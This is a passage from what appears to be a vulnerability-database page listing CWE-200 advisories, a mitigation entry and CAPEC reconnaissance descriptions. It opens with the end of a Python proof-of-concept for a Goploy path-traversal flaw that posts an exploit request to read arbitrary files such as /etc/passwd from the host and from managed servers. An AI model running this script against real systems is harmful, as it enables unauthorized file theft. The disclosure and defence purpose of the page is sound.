\u5c1d\u8bd5\u8bfb\u53d6\u6587\u4ef6: {file_read}\")\n print(f\"[*] \u53d1\u9001\u6700\u7ec8\u5229\u7528\u8bf7\u6c42\u4e2d...\\n\")\n\n try:\n response = requests.post(url_exploit, headers=headers, cookies=cookies, json=data, verify=False, timeout=10)\n \n if response.status_code == 200:\n try:\n # \u5c1d\u8bd5\u89e3\u6790 Goploy \u7684 JSON \u56de\u663e\u683c\u5f0f\n json_data = response.json()\n if json_data.get(\u0027code\u0027) in [0, 1, 2]: # \u6709\u65f6\u5019\u8bfb\u53d6\u56de\u663e\u4e3a\u5b8c\u6574\u7684 json \n data_obj = json_data.get(\u0027data\u0027) if isinstance(json_data.get(\u0027data\u0027), dict) else {}\n \n src_text = data_obj.get(\u0027srcText\u0027, \u0027\u0027)\n dist_text = data_obj.get(\u0027distText\u0027, \u0027\u0027)\n \n if src_text or dist_text:\n print(\"[+] \u6f0f\u6d1e\u5229\u7528\u6210\u529f\uff01\u4ea7\u751f\u53cc\u91cd\u6587\u4ef6\u8bfb\u53d6\u54cd\u5e94\uff1a\\n\")\n print(\"=\" * 50)\n print(f\"\u3010Goploy\u5bbf\u4e3b\u673a ({url_exploit} \u672c\u5730) \u7684\u6587\u4ef6\u5185\u5bb9\u8bb0\u5f55\u5728 srcText\u3011:\")\n print(\"-\" * 50)\n print(src_text if src_text else \"(\u7a7a)\")\n print(\"=\" * 50)\n print(f\"\u3010\u88ab\u63a7\u76ee\u6807\u7aef\u670d\u52a1\u5668 (ServerID: {server_id}) \u7684\u6587\u4ef6\u5185\u5bb9\u8bb0\u5f55\u5728 distText\u3011:\")\n print(\"-\" * 50)\n print(dist_text if dist_text else \"(\u7a7a)\")\n print(\"=\" * 50)\n else:\n print(\"[-] \u8bfb\u53d6\u64cd\u4f5c\u6267\u884c\u4f46\u672a\u8fd4\u56de\u5177\u4f53\u7684 srcText \u6216 distText \u6570\u636e\u3002\u6b63\u5728\u663e\u793a\u539f\u59cb API \u8fd4\u56de\uff1a\")\n print(json.dumps(json_data, indent=2))\n else:\n print(f\"[-] \u670d\u52a1\u5668\u8fd4\u56de\u4e1a\u52a1\u9519\u8bef (Code={json_data.get(\u0027code\u0027)}): {json_data.get(\u0027message\u0027)}\")\n except ValueError:\n # \u5982\u679c\u4e0d\u662f JSON \u683c\u5f0f\uff0c\u76f4\u63a5\u8f93\u51fa\u54cd\u5e94\u6e90\u7801\n print(\"[+] \u6536\u5230\u672a\u77e5\u683c\u5f0f\u54cd\u5e94\uff0c\u4ee5\u4e0b\u4e3a\u539f\u59cb\u6b63\u6587\u5185\u5bb9\uff1a\")\n print(response.text)\n else:\n print(f\"[-] HTTP \u8bf7\u6c42\u5931\u8d25\uff0cHTTP \u72b6\u6001\u7801: {response.status_code}\")\n print(response.text)\n \n except requests.exceptions.RequestException as e:\n print(f\"[-] \u8fde\u63a5\u51fa\u9519: {e}\")\n\nif __name__ == \"__main__\":\n banner()\n parser = argparse.ArgumentParser(description=\"Goploy \u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6982\u5ff5\u9a8c\u8bc1\u811a\u672c (PoC)\")\n parser.add_argument(\"-u\", \"--url\", required=True, help=\"\u76ee\u6807\u7cfb\u7edf\u57fa\u7840 URL\uff0c\u4f8b\u5982\uff1ahttp://192.168.240.130\")\n parser.add_argument(\"-t\", \"--token\", required=True, help=\"\u5177\u6709\u4f4e\u6743\u9650\u6210\u5458\u8d26\u6237\u7684 goploy_token (Cookie)\")\n parser.add_argument(\"-f\", \"--file\", default=\"/etc/passwd\", help=\"\u60f3\u8981\u8bfb\u53d6\u7684\u76ee\u6807\u7edd\u5bf9\u8def\u5f84\u6587\u4ef6 (\u9ed8\u8ba4: /etc/passwd)\")\n parser.add_argument(\"-s\", \"--server_id\", default=None, help=\"\u5f3a\u5236\u6307\u5b9a\u60f3\u8981\u8bfb\u53d6\u7684\u8fdc\u7a0b\u7ed1\u5b9a\u670d\u52a1\u5668ServerID(\u5982\u5ffd\u7565\u5219\u5c1d\u8bd5\u81ea\u52a8\u83b7\u53d6\u9996\u4e2a)\")\n \n args = parser.parse_args()\n \n exploit(args.url, args.token, args.file, args)\n\n```",
"id": "GHSA-4g5x-hcwm-82jw",
"modified": "2026-07-07T23:42:24Z",
"published": "2026-07-07T23:42:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zhenorzz/goploy/security/advisories/GHSA-4g5x-hcwm-82jw"
},
{
"type": "PACKAGE",
"url": "https://github.com/zhenorzz/goploy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Goploy: Arbitrary File Read via Path Traversal in /deploy/fileDiff allows Remote Server Compromise"
}
GHSA-4G6Q-MF75-JFX7
Vulnerability from github – Published: 2022-05-17 03:16 – Updated: 2022-05-17 03:16The Sandbox_profiles component in Apple iOS before 8.4.1 allows attackers to bypass the third-party app-sandbox protection mechanism and read arbitrary managed preferences via a crafted app.
{
"affected": [],
"aliases": [
"CVE-2015-5749"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-08-17T00:00:00Z",
"severity": "MODERATE"
},
"details": "The Sandbox_profiles component in Apple iOS before 8.4.1 allows attackers to bypass the third-party app-sandbox protection mechanism and read arbitrary managed preferences via a crafted app.",
"id": "GHSA-4g6q-mf75-jfx7",
"modified": "2022-05-17T03:16:24Z",
"published": "2022-05-17T03:16:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5749"
},
{
"type": "WEB",
"url": "https://support.apple.com/kb/HT205030"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2015/Aug/msg00002.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/76337"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1033275"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4G75-8F87-6JF8
Vulnerability from github – Published: 2024-10-23 09:33 – Updated: 2024-10-23 09:33The Qi Addons For Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.8.0 via private templates. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive data including the contents of templates that are private.
{
"affected": [],
"aliases": [
"CVE-2024-9530"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-23T08:15:03Z",
"severity": "MODERATE"
},
"details": "The Qi Addons For Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.8.0 via private templates. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive data including the contents of templates that are private.",
"id": "GHSA-4g75-8f87-6jf8",
"modified": "2024-10-23T09:33:12Z",
"published": "2024-10-23T09:33:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9530"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3170536%40qi-addons-for-elementor%2Ftrunk\u0026old=3159768%40qi-addons-for-elementor%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0dd93514-657c-4b04-931a-23f3d405fb88?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4G76-2MRG-GXQP
Vulnerability from github – Published: 2022-05-17 02:22 – Updated: 2022-05-17 02:22Unspecified vulnerability in Oracle MySQL 5.7.14 and earlier allows remote authenticated users to affect confidentiality via vectors related to Server: Security: Privileges.
{
"affected": [],
"aliases": [
"CVE-2016-8286"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-10-25T14:31:00Z",
"severity": "LOW"
},
"details": "Unspecified vulnerability in Oracle MySQL 5.7.14 and earlier allows remote authenticated users to affect confidentiality via vectors related to Server: Security: Privileges.",
"id": "GHSA-4g76-2mrg-gxqp",
"modified": "2022-05-17T02:22:44Z",
"published": "2022-05-17T02:22:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-8286"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201701-01"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93745"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1037050"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4G7C-QJQW-RVRQ
Vulnerability from github – Published: 2024-08-02 00:31 – Updated: 2024-08-02 00:31Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Dylan James Zephyr Project Manager.This issue affects Zephyr Project Manager: from n/a through 3.3.99.
{
"affected": [],
"aliases": [
"CVE-2024-38761"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-01T22:15:25Z",
"severity": "HIGH"
},
"details": "Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Dylan James Zephyr Project Manager.This issue affects Zephyr Project Manager: from n/a through 3.3.99.",
"id": "GHSA-4g7c-qjqw-rvrq",
"modified": "2024-08-02T00:31:25Z",
"published": "2024-08-02T00:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38761"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/zephyr-project-manager/wordpress-zephyr-project-manager-plugin-3-3-99-sensitive-data-exposure-via-export-file-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4G7Q-44QP-CC5C
Vulnerability from github – Published: 2026-05-21 21:30 – Updated: 2026-06-23 22:57Concrete CMS 9.5.0 and below is vulnerable to unauthenticated file usage disclosure via missing permission check in the usage controller. Any unauthenticated visitor can request /ccm/system/dialogs/file/usage/{fID} with any file ID and receive a list of every page that references that file, including page IDs, handles, and full URLs. This includes pages that are otherwise restricted by permissions. Concrete CMS thanks Eldudareeno for reporting this issue.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "concrete5/concrete5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-6826"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T22:57:22Z",
"nvd_published_at": "2026-05-21T21:16:32Z",
"severity": "MODERATE"
},
"details": "Concrete CMS 9.5.0 and below\u00a0 is vulnerable to\u00a0unauthenticated file usage disclosure via missing permission check in the usage controller.\u00a0\u00a0Any unauthenticated visitor can request /ccm/system/dialogs/file/usage/{fID} with any file ID and receive a list of every page that references that file, including page IDs, handles, and full URLs. This includes pages that are otherwise restricted by permissions. Concrete CMS thanks Eldudareeno\u00a0for reporting this issue.",
"id": "GHSA-4g7q-44qp-cc5c",
"modified": "2026-06-23T22:57:22Z",
"published": "2026-05-21T21:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6826"
},
{
"type": "WEB",
"url": "https://documentation.concretecms.org/9-x/developers/introduction/version-history/951-release-notes"
},
{
"type": "PACKAGE",
"url": "https://github.com/concretecms/concretecms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Concrete CMS is vulnerable to\u00a0unauthenticated file usage disclosure"
}
GHSA-4G87-9X45-CX2H
Vulnerability from github – Published: 2025-11-27 18:30 – Updated: 2025-12-01 23:57Mattermost versions 11.0.x <= 11.0.2, 10.12.x <= 10.12.1, 10.11.x <= 10.11.4, 10.5.x <= 10.5.12 fail to sanitize team email addresses to be visible only to Team Admins, which allows any authenticated user to view team email addresses via the GET /api/v4/channels/{channel_id}/common_teams endpoint
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost/server/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.0-20251015091448-abbf01b9db45"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "10.12.0"
},
{
"fixed": "10.12.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "10.11.0"
},
{
"fixed": "10.11.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "10.5.0"
},
{
"fixed": "10.5.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-12559"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-01T23:57:02Z",
"nvd_published_at": "2025-11-27T17:15:46Z",
"severity": "MODERATE"
},
"details": "Mattermost versions 11.0.x \u003c= 11.0.2, 10.12.x \u003c= 10.12.1, 10.11.x \u003c= 10.11.4, 10.5.x \u003c= 10.5.12 fail to sanitize team email addresses to be visible only to Team Admins, which allows any authenticated user to view team email addresses via the GET /api/v4/channels/{channel_id}/common_teams endpoint",
"id": "GHSA-4g87-9x45-cx2h",
"modified": "2025-12-01T23:57:02Z",
"published": "2025-11-27T18:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12559"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/pull/34110"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/5d8719042c1807da59ac8a821624eb01152d8495"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/649aee8fa9184ca59bd66022a33b8f8918e413aa"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/7ccb62db7958abd6a4b21a06c5a4f5367a8f8b1f"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/9f54e5cdc3aef412945ff0e6a58338f7b549bdda"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/abbf01b9db45d1850eaf3701ea8362b910193ffd"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mattermost fails to sanitize team email addresses"
}
GHSA-4G88-PVPJ-755P
Vulnerability from github – Published: 2022-05-17 01:59 – Updated: 2022-05-17 01:59IBM Rational Build Forge 7.1.0 uses the HTTP GET method during redirection from the authentication servlet to a PHP script, which makes it easier for context-dependent attackers to discover session IDs by reading (1) web-server access logs, (2) web-server Referer logs, or (3) the browser history.
{
"affected": [],
"aliases": [
"CVE-2011-1839"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-04-28T18:55:00Z",
"severity": "MODERATE"
},
"details": "IBM Rational Build Forge 7.1.0 uses the HTTP GET method during redirection from the authentication servlet to a PHP script, which makes it easier for context-dependent attackers to discover session IDs by reading (1) web-server access logs, (2) web-server Referer logs, or (3) the browser history.",
"id": "GHSA-4g88-pvpj-755p",
"modified": "2022-05-17T01:59:35Z",
"published": "2022-05-17T01:59:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-1839"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/66714"
},
{
"type": "WEB",
"url": "http://www.ibm.com/support/docview.wss?uid=swg1PM29655"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2011/0919"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4G8W-85QG-HC95
Vulnerability from github – Published: 2022-05-01 02:25 – Updated: 2022-05-01 02:25phpCOIN 1.2.2 allows remote attackers to obtain the installation path via a direct request to config.php, which leaks the path in an error message because the _CCFG['_PKG_PATH_DBSE'] variable is not defined.
{
"affected": [],
"aliases": [
"CVE-2005-4214"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2005-12-14T11:03:00Z",
"severity": "MODERATE"
},
"details": "phpCOIN 1.2.2 allows remote attackers to obtain the installation path via a direct request to config.php, which leaks the path in an error message because the _CCFG[\u0027_PKG_PATH_DBSE\u0027] variable is not defined.",
"id": "GHSA-4g8w-85qg-hc95",
"modified": "2022-05-01T02:25:06Z",
"published": "2022-05-01T02:25:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2005-4214"
},
{
"type": "WEB",
"url": "http://forums.phpcoin.com/index.php?showtopic=5469"
},
{
"type": "WEB",
"url": "http://rgod.altervista.org/phpcoin122.html"
},
{
"type": "WEB",
"url": "http://rgod.altervista.org/phpcoin_122_sql_xpl.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/18030"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1015345"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/21726"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/419382/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2005/2888"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-116: Excavation
An adversary actively probes the target in a manner that is designed to solicit information that could be leveraged for malicious purposes.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-169: Footprinting
An adversary engages in probing and exploration activities to identify constituents and properties of the target.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-224: Fingerprinting
An adversary compares output from a target system to known indicators that uniquely identify specific details about the target. Most commonly, fingerprinting is done to determine operating system and application versions. Fingerprinting can be done passively as well as actively. Fingerprinting by itself is not usually detrimental to the target. However, the information gathered through fingerprinting often enables an adversary to discover existing weaknesses in the target.
CAPEC-285: ICMP Echo Request Ping
An adversary sends out an ICMP Type 8 Echo Request, commonly known as a 'Ping', in order to determine if a target system is responsive. If the request is not blocked by a firewall or ACL, the target host will respond with an ICMP Type 0 Echo Reply datagram. This type of exchange is usually referred to as a 'Ping' due to the Ping utility present in almost all operating systems. Ping, as commonly implemented, allows a user to test for alive hosts, measure round-trip time, and measure the percentage of packet loss.
CAPEC-287: TCP SYN Scan
An adversary uses a SYN scan to determine the status of ports on the remote target. SYN scanning is the most common type of port scanning that is used because of its many advantages and few drawbacks. As a result, novice attackers tend to overly rely on the SYN scan while performing system reconnaissance. As a scanning method, the primary advantages of SYN scanning are its universality and speed.
CAPEC-290: Enumerate Mail Exchange (MX) Records
An adversary enumerates the MX records for a given via a DNS query. This type of information gathering returns the names of mail servers on the network. Mail servers are often not exposed to the Internet but are located within the DMZ of a network protected by a firewall. A side effect of this configuration is that enumerating the MX records for an organization my reveal the IP address of the firewall or possibly other internal systems. Attackers often resort to MX record enumeration when a DNS Zone Transfer is not possible.
CAPEC-291: DNS Zone Transfers
An attacker exploits a DNS misconfiguration that permits a ZONE transfer. Some external DNS servers will return a list of IP address and valid hostnames. Under certain conditions, it may even be possible to obtain Zone data about the organization's internal network. When successful the attacker learns valuable information about the topology of the target organization, including information about particular servers, their role within the IT structure, and possibly information about the operating systems running upon the network. This is configuration dependent behavior so it may also be required to search out multiple DNS servers while attempting to find one with ZONE transfers allowed.
CAPEC-292: Host Discovery
An adversary sends a probe to an IP address to determine if the host is alive. Host discovery is one of the earliest phases of network reconnaissance. The adversary usually starts with a range of IP addresses belonging to a target network and uses various methods to determine if a host is present at that IP address. Host discovery is usually referred to as 'Ping' scanning using a sonar analogy. The goal is to send a packet through to the IP address and solicit a response from the host. As such, a 'ping' can be virtually any crafted packet whatsoever, provided the adversary can identify a functional host based on its response. An attack of this nature is usually carried out with a 'ping sweep,' where a particular kind of ping is sent to a range of IP addresses.
CAPEC-293: Traceroute Route Enumeration
An adversary uses a traceroute utility to map out the route which data flows through the network in route to a target destination. Tracerouting can allow the adversary to construct a working topology of systems and routers by listing the systems through which data passes through on their way to the targeted machine. This attack can return varied results depending upon the type of traceroute that is performed. Traceroute works by sending packets to a target while incrementing the Time-to-Live field in the packet header. As the packet traverses each hop along its way to the destination, its TTL expires generating an ICMP diagnostic message that identifies where the packet expired. Traditional techniques for tracerouting involved the use of ICMP and UDP, but as more firewalls began to filter ingress ICMP, methods of traceroute using TCP were developed.
CAPEC-294: ICMP Address Mask Request
An adversary sends an ICMP Type 17 Address Mask Request to gather information about a target's networking configuration. ICMP Address Mask Requests are defined by RFC-950, "Internet Standard Subnetting Procedure." An Address Mask Request is an ICMP type 17 message that triggers a remote system to respond with a list of its related subnets, as well as its default gateway and broadcast address via an ICMP type 18 Address Mask Reply datagram. Gathering this type of information helps the adversary plan router-based attacks as well as denial-of-service attacks against the broadcast address.
CAPEC-295: Timestamp Request
This pattern of attack leverages standard requests to learn the exact time associated with a target system. An adversary may be able to use the timestamp returned from the target to attack time-based security algorithms, such as random number generators, or time-based authentication mechanisms.
CAPEC-296: ICMP Information Request
An adversary sends an ICMP Information Request to a host to determine if it will respond to this deprecated mechanism. ICMP Information Requests are a deprecated message type. Information Requests were originally used for diskless machines to automatically obtain their network configuration, but this message type has been superseded by more robust protocol implementations like DHCP.
CAPEC-297: TCP ACK Ping
An adversary sends a TCP segment with the ACK flag set to a remote host for the purpose of determining if the host is alive. This is one of several TCP 'ping' types. The RFC 793 expected behavior for a service is to respond with a RST 'reset' packet to any unsolicited ACK segment that is not part of an existing connection. So by sending an ACK segment to a port, the adversary can identify that the host is alive by looking for a RST packet. Typically, a remote server will respond with a RST regardless of whether a port is open or closed. In this way, TCP ACK pings cannot discover the state of a remote port because the behavior is the same in either case. The firewall will look up the ACK packet in its state-table and discard the segment because it does not correspond to any active connection. A TCP ACK Ping can be used to discover if a host is alive via RST response packets sent from the host.
CAPEC-298: UDP Ping
An adversary sends a UDP datagram to the remote host to determine if the host is alive. If a UDP datagram is sent to an open UDP port there is very often no response, so a typical strategy for using a UDP ping is to send the datagram to a random high port on the target. The goal is to solicit an 'ICMP port unreachable' message from the target, indicating that the host is alive. UDP pings are useful because some firewalls are not configured to block UDP datagrams sent to strange or typically unused ports, like ports in the 65K range. Additionally, while some firewalls may filter incoming ICMP, weaknesses in firewall rule-sets may allow certain types of ICMP (host unreachable, port unreachable) which are useful for UDP ping attempts.
CAPEC-299: TCP SYN Ping
An adversary uses TCP SYN packets as a means towards host discovery. Typical RFC 793 behavior specifies that when a TCP port is open, a host must respond to an incoming SYN "synchronize" packet by completing stage two of the 'three-way handshake' - by sending an SYN/ACK in response. When a port is closed, RFC 793 behavior is to respond with a RST "reset" packet. This behavior can be used to 'ping' a target to see if it is alive by sending a TCP SYN packet to a port and then looking for a RST or an ACK packet in response.
CAPEC-300: Port Scanning
An adversary uses a combination of techniques to determine the state of the ports on a remote target. Any service or application available for TCP or UDP networking will have a port open for communications over the network.
CAPEC-301: TCP Connect Scan
An adversary uses full TCP connection attempts to determine if a port is open on the target system. The scanning process involves completing a 'three-way handshake' with a remote port, and reports the port as closed if the full handshake cannot be established. An advantage of TCP connect scanning is that it works against any TCP/IP stack.
CAPEC-302: TCP FIN Scan
An adversary uses a TCP FIN scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with the FIN bit set in the packet header. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow the adversary to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.
CAPEC-303: TCP Xmas Scan
An adversary uses a TCP XMAS scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with all possible flags set in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.
CAPEC-304: TCP Null Scan
An adversary uses a TCP NULL scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with no flags in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.
CAPEC-305: TCP ACK Scan
An adversary uses TCP ACK segments to gather information about firewall or ACL configuration. The purpose of this type of scan is to discover information about filter configurations rather than port state. This type of scanning is rarely useful alone, but when combined with SYN scanning, gives a more complete picture of the type of firewall rules that are present.
CAPEC-306: TCP Window Scan
An adversary engages in TCP Window scanning to analyze port status and operating system type. TCP Window scanning uses the ACK scanning method but examine the TCP Window Size field of response RST packets to make certain inferences. While TCP Window Scans are fast and relatively stealthy, they work against fewer TCP stack implementations than any other type of scan. Some operating systems return a positive TCP window size when a RST packet is sent from an open port, and a negative value when the RST originates from a closed port. TCP Window scanning is one of the most complex scan types, and its results are difficult to interpret. Window scanning alone rarely yields useful information, but when combined with other types of scanning is more useful. It is a generally more reliable means of making inference about operating system versions than port status.
CAPEC-307: TCP RPC Scan
An adversary scans for RPC services listing on a Unix/Linux host.
CAPEC-308: UDP Scan
An adversary engages in UDP scanning to gather information about UDP port status on the target system. UDP scanning methods involve sending a UDP datagram to the target port and looking for evidence that the port is closed. Open UDP ports usually do not respond to UDP datagrams as there is no stateful mechanism within the protocol that requires building or establishing a session. Responses to UDP datagrams are therefore application specific and cannot be relied upon as a method of detecting an open port. UDP scanning relies heavily upon ICMP diagnostic messages in order to determine the status of a remote port.
CAPEC-309: Network Topology Mapping
An adversary engages in scanning activities to map network nodes, hosts, devices, and routes. Adversaries usually perform this type of network reconnaissance during the early stages of attack against an external network. Many types of scanning utilities are typically employed, including ICMP tools, network mappers, port scanners, and route testing utilities such as traceroute.
CAPEC-310: Scanning for Vulnerable Software
An attacker engages in scanning activity to find vulnerable software versions or types, such as operating system versions or network services. Vulnerable or exploitable network configurations, such as improperly firewalled systems, or misconfigured systems in the DMZ or external network, provide windows of opportunity for an attacker. Common types of vulnerable software include unpatched operating systems or services (e.g FTP, Telnet, SMTP, SNMP) running on open ports that the attacker has identified. Attackers usually begin probing for vulnerable software once the external network has been port scanned and potential targets have been revealed.
CAPEC-312: Active OS Fingerprinting
An adversary engages in activity to detect the operating system or firmware version of a remote target by interrogating a device, server, or platform with a probe designed to solicit behavior that will reveal information about the operating systems or firmware in the environment. Operating System detection is possible because implementations of common protocols (Such as IP or TCP) differ in distinct ways. While the implementation differences are not sufficient to 'break' compatibility with the protocol the differences are detectable because the target will respond in unique ways to specific probing activity that breaks the semantic or logical rules of packet construction for a protocol. Different operating systems will have a unique response to the anomalous input, providing the basis to fingerprint the OS behavior. This type of OS fingerprinting can distinguish between operating system types and versions.
CAPEC-313: Passive OS Fingerprinting
An adversary engages in activity to detect the version or type of OS software in a an environment by passively monitoring communication between devices, nodes, or applications. Passive techniques for operating system detection send no actual probes to a target, but monitor network or client-server communication between nodes in order to identify operating systems based on observed behavior as compared to a database of known signatures or values. While passive OS fingerprinting is not usually as reliable as active methods, it is generally better able to evade detection.
CAPEC-317: IP ID Sequencing Probe
